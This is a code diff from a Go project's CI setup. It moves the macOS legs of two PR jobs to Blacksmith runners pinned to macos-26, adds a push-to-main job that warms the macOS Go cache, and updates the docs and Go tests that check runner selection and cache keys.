TestBlacksmithMacOSSaverMatchesPRLegs. + blacksmith-macos-go-build-cache: + name: Warm Blacksmith Go build cache (macOS) + runs-on: ${{ 'blacksmith-6vcpu-macos-26' }} + if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' + timeout-minutes: 20 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Go + id: setup-go + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Compute cache date + id: cache-date + run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" + + - name: Restore Go module cache + id: restore-go-module-cache + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/go/pkg/mod + key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} + restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- + + - name: Restore non-race Go build cache + id: restore-non-race-go-build-cache + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ${{ runner.temp }}/go-cache/non-race + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} + restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- + + # Records the image's toolchain in the log so a Blacksmith image drift + # (vs. GitHub's macos-26-arm64) is visible next to the cache it seeds. + - name: Check macOS toolchain diagnostics + run: | + sw_vers + go env GOOS GOARCH CGO_ENABLED CC + bash --version | head -n 1 + + - name: Build + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race + run: go build -tags gms_pure_go -o /dev/null ./cmd/bd + + - name: Warm non-race GOCACHE for macOS preflight/doc-freshness + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race + run: bash scripts/ci/warm-non-race-cache.sh + + - name: Save Go module cache + if: ${{ !cancelled() && steps.restore-go-module-cache.outputs.cache-hit != 'true' }} + uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/go/pkg/mod + key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} + + - name: Save non-race Go build cache + if: ${{ !cancelled() && steps.restore-non-race-go-build-cache.outputs.cache-hit != 'true' }} + uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ${{ runner.temp }}/go-cache/non-race + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} + test-nix: name: Test Nix Flake runs-on: ubuntu-latest diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 5e844cbed..f04380929 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -882,17 +882,21 @@ jobs: # non-race Go build cache seeded by main.yml's push-to-main savers on the # exact same runner selection (S2 below). # - # F7b review fix (S3): the macOS leg stays on GitHub-hosted macos-latest - # unconditionally -- never Blacksmith -- because Blacksmith bills macOS - # runners at roughly 20x its Linux/Windows rate and no push-to-main - # Blacksmith-macOS cache saver exists (main.yml's `test` job's macOS leg, - # which this job's restore step reads from, already runs on GitHub-hosted - # macos-latest). The `runner: same-repo-macos` marker is kept only so this - # job's matrix shape stays uniform across all three OSes; its branch in the - # chained ternary is a plain `'macos-latest'`, not a same-repo conditional. + # The macOS leg moves to same-repo Blacksmith macOS + # (blacksmith-6vcpu-macos-26, Apple Silicon) like the other two legs; forks, + # Dependabot and any non-PR event keep GitHub-hosted macos-latest. The label + # is pinned to macos-26 because that is the image GitHub's macos-latest + # resolves to today (macos-26-arm64), so both paths run the same OS and + # architecture; bump it together with GitHub's macos-latest migration. + # 6 vCPU (vs. macos-latest's 3) is already 2x the GitHub-hosted leg; the + # 12 vCPU size is not justified for a leg dominated by one incremental + # ./cmd/bd test compile. This reverses F7b review fix S3 (cost accepted): + # main.yml's blacksmith-macos-go-build-cache job is the push-to-main + # Blacksmith-macOS saver S3 said was missing, on this exact label, and the + # GitHub-hosted fork path still restores main.yml's `test` job macOS leg. check-doc-freshness-platforms: name: Check doc freshness (${{ matrix.os }}) - runs-on: ${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && 'macos-latest' || matrix.os }} + runs-on: ${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }} timeout-minutes: 10 strategy: fail-fast: false @@ -964,7 +968,7 @@ jobs: # step) for the fix that actually targets it. Reverted to one leg per OS. pr-preflight-platforms: name: PR preflight process (${{ matrix.os }}) - runs-on: ${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && 'macos-latest' || matrix.os }} + runs-on: ${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }} timeout-minutes: 20 strategy: fail-fast: false @@ -999,8 +1003,9 @@ jobs: # F7b review (S2): restore-only non-race Go build cache, seeded by the # push-to-main saver on the exact same runner selection (Linux: # main.yml's blacksmith-go-build-cache non-race leg; Windows: - # main.yml's test-windows Blacksmith leg; macOS: main.yml's test job's - # macOS leg) so the cold cmd/bd compile below (the real long pole, + # main.yml's test-windows Blacksmith leg; macOS: main.yml's + # blacksmith-macos-go-build-cache on Blacksmith, the test job's macOS + # leg on the GitHub-hosted fork path) so the cold cmd/bd compile below (the real long pole, # 250-300s uncached) gets a true cache hit instead of starting cold. # GOCACHE must match the seeder's exactly, and CGO_ENABLED is left at # its platform default (same as the seeder) so the key families line diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index e2921892f..aa34e924a 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1218,6 +1218,37 @@ scope, not this slice's. Windows job to Blacksmith (there is no Windows Blacksmith pool), and neither job is one F4's concurrent Windows-region edits touch. +### Same-Repo Blacksmith macOS Legs + +pr.yml's two mixed-OS matrix jobs, `pr-preflight-platforms` and +`check-doc-freshness-platforms`, run their macOS leg on +`blacksmith-6vcpu-macos-26` (Apple Silicon) for same-repo PRs and +merge_group, through the same `runner: same-repo-macos` matrix marker and +same-repo expression their Linux/Windows legs use. Forks, Dependabot and +every other event keep GitHub-hosted `macos-latest`. They are the only PR +macOS jobs; `release.yml`, `nightly.yml` and `ci-measurements.yml` stay on +`macos-latest`. + +- **Label.** Pinned to `macos-26` because GitHub's `macos-latest` resolves to + `macos-26-arm64` today, so both paths run the same OS and architecture and + the PR legs and their saver never straddle a Blacksmith `-latest` alias + move. Bump it when GitHub moves `macos-latest`. 6 vCPU is already twice + `macos-latest`'s 3 vCPU; 12 vCPU is not justified for legs dominated by one + incremental `./cmd/bd` test compile. +- **Caches.** The legs stay restore-only (`setup-go` `cache: false`, + `actions/cache/restore`). Blacksmith cannot see GitHub-saved caches, so + main.yml's `blacksmith-macos-go-build-cache` job is their seeder: same + label, push-to-main-only job guard, module cache plus a non-race GOCACHE + keyed by `go.sum` and UTC day, warmed by the shared + `scripts/ci/warm-non-race-cache.sh`. main.yml's `test` job macOS leg (the + GitHub-hosted full suite) is unchanged and still seeds the fork path. +- **Pins.** `TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics`, + `TestBlacksmithMacOSSaverMatchesPRLegs`, + `TestBlacksmithSaverJobsGuardedAgainstPullRequest`, + `TestBlacksmithSaverCacheKeysAreNotPerCommit`, + `TestBlacksmithReachablePRJobsDisableDefaultCachingActions` and + `TestGoCacheOwnershipTopology`. + ### Server Dolt Storage Matrix `test-server-storage-full` mirrors `test-embedded-storage`'s sharding, one @@ -1365,7 +1396,9 @@ PRs off Blacksmith entirely and back onto `ubuntu-latest`: `test-nix`. 4. **F7b** (cache-dependent moves, once that slice lands) — main.yml's Blacksmith cache seeds and the `scripts-go-checks`/`pr-lint-wrapper`/ - preflight/doc-freshness runner moves. + preflight/doc-freshness runner moves, including the preflight/ + doc-freshness macOS legs and `blacksmith-macos-go-build-cache` + ([Same-Repo Blacksmith macOS Legs](#same-repo-blacksmith-macos-legs)). F7c (the advisory workflows) is excluded from this list: it is advisory only, so leaving it on Blacksmith during an outage delays non-required checks but diff --git a/scripts/ci/warm-non-race-cache.sh b/scripts/ci/warm-non-race-cache.sh index 1ad7f64d4..a86f41c27 100755 --- a/scripts/ci/warm-non-race-cache.sh +++ b/scripts/ci/warm-non-race-cache.sh @@ -10,8 +10,10 @@ # - main.yml's blacksmith-go-build-cache (Blacksmith / same-repo-PR path # non-race save) # - main.yml's test-windows (Windows non-race save) -# - main.yml's test macOS leg (macOS non-race save; pr.yml's macOS legs -# run on GitHub-hosted macos-latest for every PR) +# - main.yml's test macOS leg (GitHub-hosted macOS non-race save; the +# fork/Dependabot path of pr.yml's macOS legs) +# - main.yml's blacksmith-macos-go-build-cache (Blacksmith macOS non-race +# save; the same-repo-PR path of pr.yml's macOS legs) # # Package list mirrors exactly what pr.yml's check-doc-freshness-platforms and # pr-preflight-platforms legs compile on every OS: diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index f0b4c9847..2e4688004 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -39,7 +39,7 @@ const sameRepoBlacksmith4vcpu = "${{ (github.event_name == 'merge_group' || (git const sameRepoBlacksmith8vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }}" // F7b: same-repo Blacksmith Windows (blacksmith-*vcpu-windows-2025, public -// beta) and macOS (blacksmith-*vcpu-macos-latest) labels, same ternary shape +// beta) and macOS (blacksmith-*vcpu-macos-26) labels, same ternary shape // as the Linux consts above - forks/Dependabot keep the current GitHub-hosted // windows-latest/macos-latest label. windows-2025 is GitHub's windows-2025 // image minus the full Visual Studio IDE, EdgeDriver and WinAppDriver; VS @@ -51,8 +51,17 @@ const sameRepoBlacksmithWindows2vcpu = "${{ (github.event_name == 'merge_group' const sameRepoBlacksmithWindows4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" const sameRepoBlacksmithWindows8vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-windows-2025' || 'windows-latest' }}" const sameRepoBlacksmithWindows16vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-16vcpu-windows-2025' || 'windows-latest' }}" -const sameRepoBlacksmithMacOS6vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-latest' || 'macos-latest' }}" -const sameRepoBlacksmithMacOS12vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-12vcpu-macos-latest' || 'macos-latest' }}" + +// Same-repo Blacksmith macOS (Apple Silicon M4, ARM64). Pinned to macos-26 +// rather than blacksmith-*-macos-latest because GitHub's macos-latest (the +// fork/Dependabot fallback) resolves to macos-26-arm64 today; pinning keeps +// both paths on the same OS/arch and keeps the PR legs and main.yml's +// blacksmith-macos-go-build-cache saver on one image regardless of when +// Blacksmith moves its own -latest alias. Bump these (and +// blacksmithMacOSLabel) when GitHub moves macos-latest. +const blacksmithMacOSLabel = "blacksmith-6vcpu-macos-26" +const sameRepoBlacksmithMacOS6vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest' }}" +const sameRepoBlacksmithMacOS12vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-12vcpu-macos-26' || 'macos-latest' }}" // sameRepoPlatformsMatrixMarkerRunsOn is the "matrix marker" form (spec // F7/F7b §2.1) used by mixed-OS matrix jobs (pr-preflight-platforms, @@ -63,12 +72,13 @@ const sameRepoBlacksmithMacOS12vcpu = "${{ (github.event_name == 'merge_group' | // current leg carries, falling back to `matrix.os` for legs with no marker or // when the marker's own same-repo condition is false. // -// F7b review fix (S3): the macOS branch is a plain 'macos-latest', never -// Blacksmith - Blacksmith macOS runners bill at roughly 20x Linux/Windows -// rates and no push-to-main Blacksmith-macOS cache saver exists. The -// `same-repo-macos` marker itself is kept (only its resolved value changed) -// so the job's matrix shape stays uniform across all three OSes. -const sameRepoPlatformsMatrixMarkerRunsOn = "${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && 'macos-latest' || matrix.os }}" +// The macOS branch resolves like the other two: blacksmith-6vcpu-macos-26 +// (sameRepoBlacksmithMacOS6vcpu's label) for a trusted same-repo PR or +// merge_group, GitHub-hosted macos-latest otherwise. F7b review fix S3 kept +// it a plain 'macos-latest' (cost, and no push-to-main Blacksmith-macOS +// saver); the cost is now accepted and main.yml's +// blacksmith-macos-go-build-cache is that saver. +const sameRepoPlatformsMatrixMarkerRunsOn = "${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }}" // --- a minimal GitHub Actions expression evaluator ------------------------- // @@ -386,8 +396,8 @@ func TestSameRepoBlacksmithExpressionSemantics(t *testing.T) { {"blacksmith-4vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows4vcpu}, {"blacksmith-8vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows8vcpu}, {"blacksmith-16vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows16vcpu}, - {"blacksmith-6vcpu-macos-latest", "macos-latest", sameRepoBlacksmithMacOS6vcpu}, - {"blacksmith-12vcpu-macos-latest", "macos-latest", sameRepoBlacksmithMacOS12vcpu}, + {"blacksmith-6vcpu-macos-26", "macos-latest", sameRepoBlacksmithMacOS6vcpu}, + {"blacksmith-12vcpu-macos-26", "macos-latest", sameRepoBlacksmithMacOS12vcpu}, } for _, c := range cases { ctx := map[string]string{ @@ -417,11 +427,12 @@ func TestSameRepoBlacksmithExpressionSemantics(t *testing.T) { // §2.1) through evalGHExpr for every (marker, event) combination the policy // cares about: the linux/windows `runner` markers resolve to that OS's // Blacksmith label only on a trusted same-repo PR/merge_group, falling back -// to that OS's GitHub-hosted label otherwise; the macos marker always -// resolves to GitHub-hosted macos-latest regardless of trust (F7b review fix -// S3: Blacksmith macOS is ~20x the Linux/Windows rate and has no push-to-main -// cache saver); and a leg with no marker at all (there is none today, but the -// fallback must still be safe) falls back to matrix.os. +// to that OS's GitHub-hosted label otherwise (the macos marker included: +// blacksmith-6vcpu-macos-26 vs. macos-latest); and a leg with no marker at +// all (there is none today, but the fallback must still be safe) falls back +// to matrix.os. Every marker is additionally checked against its flat +// same-repo const for every event shape, so the chained ternary's per-OS +// arms cannot drift from the single-OS expressions. func TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics(t *testing.T) { const ownRepo = "steveyegge/beads" trustedCtx := map[string]string{ @@ -447,8 +458,7 @@ func TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics(t *testing.T) { {"linux marker, fork", "same-repo-linux", "ubuntu-latest", forkCtx, "ubuntu-latest"}, {"windows marker, trusted", "same-repo-windows", "windows-latest", trustedCtx, "blacksmith-4vcpu-windows-2025"}, {"windows marker, fork", "same-repo-windows", "windows-latest", forkCtx, "windows-latest"}, - // F7b review fix (S3): macOS never resolves to Blacksmith, trusted or not. - {"macos marker, trusted", "same-repo-macos", "macos-latest", trustedCtx, "macos-latest"}, + {"macos marker, trusted", "same-repo-macos", "macos-latest", trustedCtx, blacksmithMacOSLabel}, {"macos marker, fork", "same-repo-macos", "macos-latest", forkCtx, "macos-latest"}, {"no marker falls back to matrix.os", "", "some-other-os", trustedCtx, "some-other-os"}, } @@ -466,4 +476,42 @@ func TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics(t *testing.T) { } }) } + + // Each marker arm must resolve exactly like its flat single-OS const for + // every event shape: same-repo PR and merge_group get Blacksmith; fork, + // deleted fork head, Dependabot, push and every other event keep the + // GitHub-hosted label. + markerConsts := []struct{ marker, os, flat string }{ + {"same-repo-linux", "ubuntu-latest", sameRepoBlacksmith4vcpu}, + {"same-repo-windows", "windows-latest", sameRepoBlacksmithWindows4vcpu}, + {"same-repo-macos", "macos-latest", sameRepoBlacksmithMacOS6vcpu}, + } + events := []struct{ name, event, headRepo, actor string }{ + {"same-repo PR", "pull_request", ownRepo, "alice"}, + {"merge_group", "merge_group", "", ""}, + {"fork PR", "pull_request", "someone-else/beads", "alice"}, + {"deleted fork head", "pull_request", "", "alice"}, + {"dependabot", "pull_request", ownRepo, "dependabot[bot]"}, + {"push", "push", "", "alice"}, + {"schedule", "schedule", "", ""}, + } + for _, m := range markerConsts { + for _, e := range events { + t.Run(m.marker+"/"+e.name, func(t *testing.T) { + ctx := map[string]string{ + "github.event_name": e.event, + "github.event.pull_request.head.repo.full_name": e.headRepo, + "github.repository": ownRepo, + "github.actor": e.actor, + "matrix.runner": m.marker, + "matrix.os": m.os, + } + got := mustEvalGHRunsOn(t, sameRepoPlatformsMatrixMarkerRunsOn, ctx) + want := mustEvalGHRunsOn(t, m.flat, ctx) + if got != want { + t.Errorf("marker %s under %s: runs-on = %q, flat const resolves to %q", m.marker, e.name, got, want) + } + }) + } + } } diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 8da4aebc2..562fe6a34 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -69,9 +69,10 @@ func TestBlacksmithReachablePRJobsDisableDefaultCachingActions(t *testing.T) { // Blacksmith-selection GOCACHE/vet-cache a same-repo PR or merge_group job // above restores from. F7c's blacksmith-setup-go-cache is pinned by its own // TestBlacksmithSeederGuardedAgainstPullRequest in ci_f7c_advisory_test.go; -// these are F7b's four (B2). +// these are F7b's four (B2) plus the Blacksmith macOS saver. var blacksmithSaverJobs = []string{ "blacksmith-go-build-cache", "pr-lint-wrapper", "go-vet-cache", "test-windows", + "blacksmith-macos-go-build-cache", } // TestBlacksmithSaverJobsGuardedAgainstPullRequest is the B2 fix's pin: each @@ -166,6 +167,11 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { restoreStepNames: []string{"Restore non-race Go build cache"}, saveStepNames: []string{"Save non-race Go build cache"}, }, + { + job: "blacksmith-macos-go-build-cache", + restoreStepNames: []string{"Restore non-race Go build cache"}, + saveStepNames: []string{"Save non-race Go build cache"}, + }, } for _, c := range cases { @@ -319,3 +325,79 @@ func TestCompileOnlyUsesBuildFlagsConstant(t *testing.T) { } } } + +// blacksmithMacOSPRLegJobs are pr.yml's mixed-OS matrix jobs whose macOS leg +// runs on Blacksmith macOS for same-repo PRs/merge_group. +var blacksmithMacOSPRLegJobs = []string{"pr-preflight-platforms", "check-doc-freshness-platforms"} + +// TestBlacksmithMacOSSaverMatchesPRLegs pins the contract between pr.yml's +// Blacksmith macOS PR legs and their only seeder, main.yml's +// blacksmith-macos-go-build-cache: Blacksmith cannot see GitHub-saved caches +// (and vice versa), so the saver must run on exactly the label a same-repo +// PR's macOS leg resolves to, write the cache path/key family those legs +// restore, and compile what they compile (the shared warm-up). The PR legs +// stay restore-only and are inside the default-caching-action sweep. +func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { + pr := readCIWorkflow(t, "pr.yml") + mainWF := readCIWorkflow(t, "main.yml") + saver := mainWF.job(t, "blacksmith-macos-go-build-cache") + + const ownRepo = "gastownhall/beads" + sameRepoMacOS := map[string]string{ + "github.event_name": "pull_request", + "github.event.pull_request.head.repo.full_name": ownRepo, + "github.repository": ownRepo, + "github.actor": "alice", + "matrix.runner": "same-repo-macos", + "matrix.os": "macos-latest", + } + if want := "${{ '" + blacksmithMacOSLabel + "' }}"; saver.RunsOn != want { + t.Errorf("blacksmith-macos-go-build-cache runs-on = %q, want %q", saver.RunsOn, want) + } + if saver.TimeoutMinutes == 0 || len(saver.Strategy.Matrix.Include) != 0 { + t.Errorf("blacksmith-macos-go-build-cache timeout=%d include=%v, want a timeout and a single leg", saver.TimeoutMinutes, saver.Strategy.Matrix.Include) + } + + saverSave := saver.step(t, "Save non-race Go build cache") + for _, jobName := range blacksmithMacOSPRLegJobs { + job := pr.job(t, jobName) + // The default-caching sweep (TestBlacksmithReachablePRJobsDisableDefaultCachingActions) + // and the no-secrets sweep select jobs by a blacksmith- runs-on. + if !strings.Contains(job.RunsOn, "'"+blacksmithMacOSLabel+"'") || !strings.Contains(job.RunsOn, "blacksmith-") { + t.Errorf("pr.yml %s runs-on %q does not name %s", jobName, job.RunsOn, blacksmithMacOSLabel) + } + if got := mustEvalGHRunsOn(t, job.RunsOn, sameRepoMacOS); got != blacksmithMacOSLabel { + t.Errorf("pr.yml %s same-repo macOS leg resolves to %q, want the saver's %q", jobName, got, blacksmithMacOSLabel) + } + if setup := job.step(t, "Set up Go"); setup.With["cache"] != "false" { + t.Errorf("pr.yml %s Set up Go cache = %q, want \"false\"", jobName, setup.With["cache"]) + } + for _, step := range job.Steps { + if fam := actionFamily(step.Uses); fam == cacheSaveActionFamily || fam == cacheMonolithicActionFamily { + t.Errorf("pr.yml %s step %q uses %s; PR macOS legs are restore-only", jobName, step.Name, fam) + } + } + restore := job.step(t, "Restore non-race Go build cache") + if restore.With["path"] != saverSave.With["path"] { + t.Errorf("pr.yml %s restores %q, saver writes %q", jobName, restore.With["path"], saverSave.With["path"]) + } + if prefix := restore.With["restore-keys"]; prefix == "" || !strings.HasPrefix(saverSave.With["key"], prefix) { + t.Errorf("saver key %q is not reachable from pr.yml %s restore-keys %q", saverSave.With["key"], jobName, prefix) + } + modRestore := job.step(t, "Restore Go module cache") + if modSave := saver.step(t, "Save Go module cache"); !strings.HasPrefix(modSave.With["key"], modRestore.With["restore-keys"]) || modSave.With["path"] != modRestore.With["path"] { + t.Errorf("saver module cache %q/%q not reachable from pr.yml %s restore %q/%q", + modSave.With["path"], modSave.With["key"], jobName, modRestore.With["path"], modRestore.With["restore-keys"]) + } + } + + const warm = "Warm non-race GOCACHE for macOS preflight/doc-freshness" + assertStepRunsExactly(t, saver, warm, "bash scripts/ci/warm-non-race-cache.sh") + assertGoCacheEnv(t, saver, warm, "non-race") + assertGoCacheEnv(t, saver, "Build", "non-race") + assertStepsBefore(t, saver, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build", warm}) + assertStepsBefore(t, saver, []string{"Build", warm}, []string{"Save Go module cache", "Save non-race Go build cache"}) + if step := saver.step(t, warm); step.If != "" || (step.ContinueOnError != nil && step.ContinueOnError != false) { + t.Errorf("%q if=%q continue-on-error=%v, want unconditional", warm, step.If, step.ContinueOnError) + } +} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index abae972b2..f760611cc 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -690,8 +690,9 @@ func TestPRPreflightPlatformsRunStepsUseRestoredGoBuildCache(t *testing.T) { } } -// main.yml's test job macOS leg is the only macOS non-race GOCACHE seeder for -// pr.yml's GitHub-hosted macOS legs. It must compile the same test packages +// main.yml's test job macOS leg is the GitHub-hosted macOS non-race GOCACHE +// seeder for pr.yml's macOS legs on the fork/Dependabot (macos-latest) path; +// blacksmith-macos-go-build-cache seeds the same-repo Blacksmith path. It must compile the same test packages // those legs compile (warm-non-race-cache.sh, shared with the Linux and // Windows seeders), not only the non-test ./cmd/bd graph its Build step does, // and it must do so before the cache is saved. @@ -1375,6 +1376,15 @@ func TestGoCacheOwnershipTopology(t *testing.T) { saveBuildCacheDayBucketedAfterFailureIf("race", "matrix.flavor == 'race'"), saveBuildCacheDayBucketedAfterFailureIf("non-race", "matrix.flavor == 'non-race'"), }) + // Blacksmith macOS analogue for pr-preflight-platforms'/ + // check-doc-freshness-platforms' same-repo macOS legs (the `test` job's + // GitHub-hosted macOS leg keeps seeding their fork path). + assertGoCacheInventory(t, workflows["main.yml"].job(t, "blacksmith-macos-go-build-cache"), []goCacheStep{ + mainRestoreModuleCache(), + mainRestoreBuildCacheDayBucketedIf("non-race", ""), + saveModuleCacheAfterFailure(), + saveBuildCacheDayBucketedAfterFailureIf("non-race", ""), + }) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "build-artifacts"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), @@ -1435,6 +1445,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "main.yml": { "build-artifacts": true, "build-embedded": true, "pr-core-wrapper": true, "test": true, "test-windows": true, "pr-lint-wrapper": true, "go-vet-cache": true, "windows-test-binaries-cache": true, "blacksmith-go-build-cache": true, + "blacksmith-macos-go-build-cache": true, // F7c: blacksmith-setup-go-cache's own restore/save pair seeds the // self-defined blacksmith-sg-v1- cache namespace every advisory // Blacksmith consumer restores from (B2, F7c implementation @@ -1547,6 +1558,8 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheWriter(t, workflows["main.yml"], "go-vet-cache", mainVenueBlacksmithUbuntu4vcpuRunsOn, "Save vet Go build cache", 